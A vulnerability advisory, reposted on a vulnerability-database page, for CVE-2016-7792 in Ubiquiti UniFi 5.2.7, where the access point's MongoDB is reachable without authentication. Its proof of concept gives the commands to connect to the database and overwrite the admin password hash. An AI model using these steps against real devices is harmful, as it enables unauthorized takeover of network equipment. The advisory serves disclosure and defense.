Lucene search
K

Ubiquiti UniFi 5.2.7 Critical Vulnerability

🗓️ 01 Oct 2016 00:00:00Reported by ProSecType 
zdt
 zdt
🔗 0day.today👁 52 Views

Critical vulnerability in Ubiquiti UniFi 5.2.7, allowing unauthorized database access and admin password chang

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Ubiquiti UniFi AP AC Lite Database Modification Vulnerability
12 Oct 201600:00
cnvd
CVE
CVE-2016-7792
23 Jan 201721:00
cve
Cvelist
CVE-2016-7792
23 Jan 201721:00
cvelist
EUVD
EUVD-2016-8642
7 Oct 202500:30
euvd
NVD
CVE-2016-7792
23 Jan 201721:59
nvd
OSV
CVE-2016-7792
23 Jan 201721:59
osv
Packet Storm
Ubiquiti UniFi AP AC Lite 5.2.7 Improper Access Control
30 Sep 201600:00
packetstorm
Prion
Code injection
23 Jan 201721:59
prion
Tenable Nessus
Ubiquiti Networks UniFi Improper Access Control (CVE-2016-7792)
30 Jan 202500:00
nessus
together with my colleague we found two uncritical vulnerabilities you'll find below.

Product: UniFi AP AC Lite
Vendor: Ubiquiti Networks Inc.

Internal reference: ? (Bug ID)
Vulnerability type: Incorrect access control
Vulnerable version: Unify 5.2.7 and possible other versions affected (not tested)
Vulnerable component: Database
Report confidence: yes
Solution status: Not fixed by Vendor, the bug is a feature.
Fixed versions: -
Researcher credits: Tim Schughart, Immanuel Bär, Khanh Quoc Pham of ProSec Networks
Solution date: -
Public disclosure: 2016-09-30
CVE reference: CVE-2016-7792
CVSSv3: 8.8 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


Vulnerability Details:
You are able to connect to the access points database, because of an broken authentication (OWASP TOP10). So you are
able to modify the database and read the data. An possible scenario you'll find in PoC section.

Risk:
An attacker gets access to the database and for e.g. is able to change the admins password, like you see in PoC below.

PoC:
1. Generate SHA512 Hash with e.g.
mkpasswd -m sha-512

2. Connect via network to database, e.g. :
mongo --port 27117 --host target_ip

3. Change password via command
"db.admin.update({"name":"ProSec"}, {$set : {"x_shadow":
"$6$Se9i5I7k3hI8d4bk$CqEXRUwk7c7A/62E/HcC4SrMSLOrBdm7wRvwTS4t.nNJA3RYta0RfzJpuREg.qcAHsPGW9Gjwm3krJROXzbCv."}})"
4. Login via web interface with new password


Best regards / Mit freundlichen Grüßen


Tim Schughart
CEO / Geschäftsführer

#  0day.today [2018-04-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation